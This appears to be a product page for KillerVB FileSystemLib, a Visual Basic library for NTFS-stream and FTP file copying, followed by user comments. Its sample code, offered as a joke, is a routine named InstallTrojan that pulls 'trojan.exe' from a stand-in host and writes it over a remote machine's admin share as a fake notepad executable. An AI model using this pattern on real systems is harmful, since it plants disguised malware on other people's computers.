kvbFileSystemLib Bla Bla Bla - Just Show Me The Code  
   
 

I searched everywhere for a Win32 file library that had a rich interface, was abstract and extensible, and without compromising on performance. Such a library would provide high-level support for such things as one-to-many asynchronous file transfers in mixed environments, without skimping on support for file-system specific features. Yeah right! Enter the KillerVB FileSystemLib.

As featured in the January 2002 Visual Studio Magazine, Add File Replication to Your App. The FileSystemLib COMponent is the product of that article, and is the most powerful Win32 file library on the Net to support both disk-based and FTP-based I/O. While nothing I have seen compares to it, it does share some of the good qualities of the Scripting Runtime's FileSystemObject (FSO) that you may have gotten used to.

 

NTFS Streams & Security Objects

 
 

Included are the BackupStreamReader and BackupStreamWriter classes for reading and writing NTFS streams, including permissions, auditing and ownership objects. Asynchronous I/O is also supported. BackupStreamReader and BackupStreamWriter also encapsulate non-NTFS I/O such as FAT and FTP, allowing you to have mixed protocols and file systems and still support NTFS streams and security objects.

 
FTP Compatible
 
The library was designed to be abstract and extensible. It can access files on an FTP server using the same code used to access files on the LAN. It can pass through firewalls and supports secure logins. Asynchronous I/O is also supported. The FtpFolderEnumerator class is able to scan directories recursively, which is contrary to the FTP protocol. It does this by dynamically Clone'ing the FtpConnection instance when needed.

Object Hierarchy
 

Mo Betta
 
If you need a rich file library with support for Unicode, NTFS streams, security objects, FTP, asynchronous I/O, impersonation, and access through proxies (to name a few), then this is the library of choice. These are hard-to-find features not found in FSO, the classic VB language, or most commercial products. Before designing and writing FileSystemLib, I spent several years as a developer for Software Pursuits, Inc. where I co-designed and developed an enterprise-level file synchronization product. I got it right this time .

 
Sample Application Screenshot
 
 
Sample Generic File Copy
 

' Haven't you ever wanted to do this to someone in your office ;>
Sub InstallTrojan() 

  Dim Reader As BackupStreamReader
  Dim Writer As BackupStreamWriter
  
  ' This example opens a trojan horse
  ' and copies to a remote workstation ;>
  Set Reader = OpenBackupStreamReader( _
    "ftp://myzombie.biz/trojan.exe", OpenExisting, AccessRead)
  
  Set Writer = OpenBackupStreamWriter( _
    "\\remote_comp\c$\winnt\notpad.exe", Truncate, AccessWrite)
  
  CopyFile Reader, Writer
  
End Sub

Sub CopyFile(Reader As BackupStreamReader, Writer As BackupStreamWriter)

  ' This is a _generic_ file copy that supports
  ' extended streams and security objects, but
  ' only if the source and destination support
  ' them -- the library does all the hard work!
  Do
      If Reader.StreamType <> StreamData Then
        If Not Writer.SupportsMultiStreams Then
            GoTo NextStream
        End If
      End If
      Do While Reader.BufferContentLength > 0
        Writer.WriteStream Reader
        Reader.ReadStream
      Loop
NextStream:
      ' Update progress bar here
  Loop While Reader.GetNextStream

End Sub

 
kvbFileSystemLib Code View License   The Code
P FileSystemLib.Vbp
 
 
 
 
Visitor CommentsPost Comment
Ben
Not .NET compatible, FTPConnect() generates object is nothing error because .NET sets objects to nothing prior to use. Even with Connection type set to direct, the FTPConnect errors out, maybe you should add some of these params as optional.
Kjell-Olav
I'm I doing it wrong? I thought I could do like this: Dim ftp_con As vsmFileSystemLib.FtpConnection and then at ftp_user, ftp_password, ftp_server to ftp_con but that doesnt work.... How do I set the FTP variables? Thanks,
Alan Tucker - Wachovia Corporation
You remind me of another guy named Monte who gave away great stuff. Monte Hall! Actually, this is better because Monte Hall made you give him something to get something. ;-) Seriously, I can think of a million applications for this library in my environment. Hell, most of the code on this site! Thanks for sharing Monte. You are one of the great code philanthropists in the vb community.
Monte Hansen - KillerVB.com
Released a new version that corrects a couple of bugs in the Volumes, Volume, Path and FolderItem classes.
Kevin Whitefoot
Just brilliant. I downloaded the demo from the Visual Studio Magazine article and downloaded a large chunk of my website with it. Looks like a neat tool that I can use to simplify maintenance of my site.
kshitij_s_a@hotmail.com
I have read the article 'Add File replication to your Application' on devx. It's fantastic. Even though I couldn't understand the coding part fully, the article and coding made me think widely. Thanks for this view... Anyway, Thanks for the guidence provided by you. Best of Luck. Kshitij.
Marty Meyers - Paper Converting Machine Co.
Absolutely fantastic! I have written two wrapper classes similar to this but neither of them come anywhere near having the versatility of FileSystemLib. I don't need to use it at this time, but what a leaning experience! There really is no substitute for well organized, well written, and well commented code even when it takes longer than most managers want to allow. One function which I managed to get to work in VB4/NT was determining if a file was "CurrentlyOpen". I have not been able to accomplish this in VB6/NT or XP professional. Any suggestions?
Sam Patel
Man, that's impressive. Looks like you thought of everything, except maybe http support. And I thought I was doomed to used the scripting file system object thing forever! Thanks killer vb
Michael H
omg.. seriously, post an address - im sure some of us would shoot ya some cash gift certificates or christmas cards or SOMETHING just giving this knowledge away! sha-wing lol you rock
Rob
Saved my A** (edited) weeks of work and the headache of figurin this crap out!@#
I can't believe y ou give this stuff out for free.

thanks, Rob
Rez Khan - Kama
Hi Monte, First thanks for the free use of your DLL's. I am currently trying to use the filesystemlib dll to enumerate through folders on a web server through a VB app. The purpose is simply to extract file names and if an HTML file is encountered ,to read the contents of this file i.e. the code and input it as a string. This seems to work fine for the first few files that I read but after this (ususally about 50 or so files) it crashes. The error message I get is -2147012865 . The connection with the server was reset. Here is the stripped down version of the code : Dim obj_FTPConn As FtpConnection ' form level variable Dim ftpfolderenum As IFolderEnumerator Dim ftpFile As IFolderItem Dim ftpFilename As IFolderItem Dim newtextStream As ITextStream Dim obj_ftpwebsite As clsftpwebsite Set obj_FTPConn = FtpConnect(str_servername, str_userid, str_pwd, 0, 0) Set obj_ftpwebsite = New clsftpwebsite Call FTPConn(str_servername, str_userid, str_pwd) Set ftpFile = obj_FTPConn.GetFolderItem("ftp://" & "/" & str_path) ' this loops through the current folder Set ftpfolderenum = ftpFile.EnumFolder Do While ftpfolderenum.IsOpen Set ftpFilename = ftpfolderenum.GetFolderItem ' crashes out here usually after having read 50 or so files Set ftpFilename = Nothing ftpfolderenum.GetNextItem Loop Many Thanks Rez
(anonymous) - Paper Converting Machine Co.
Absolutely fantastic! I have written two wrapper classes similar to this but neither of them come anywhere near having the versatility of FileSystemLib. I don't need to use it at this time, but what a leaning experience! There really is no substitute for well organized, well written, and well commented code even when it takes longer than most managers want to allow. One function which I managed to get to work in VB4/NT was determining if a file was "CurrentlyOpen". I have not been able to accomplish this in VB6/NT or XP professional. Any suggestions?
Sailendra - Trident
Thanks a lot for this great code. I have been searching all over the net for a long time - your code is the best I have come across...just what is needed.:-)
(anonymous)
very nice
comphealer
I love your Library but I am having on difficulty. After copying many files, (The number fluctuates widely. From 25,000 to 900,000) I get insufficient system resources. Seems to be a leak somewhere but I can not find it.
Glen
Try as I might, I can't work out how to use this library to read a text file from an FTP server. Do you have an example or some documentation that I am missing?
 
Copyright © 1999-2002 by Monte Hansen, All Rights Reserved Worldwide.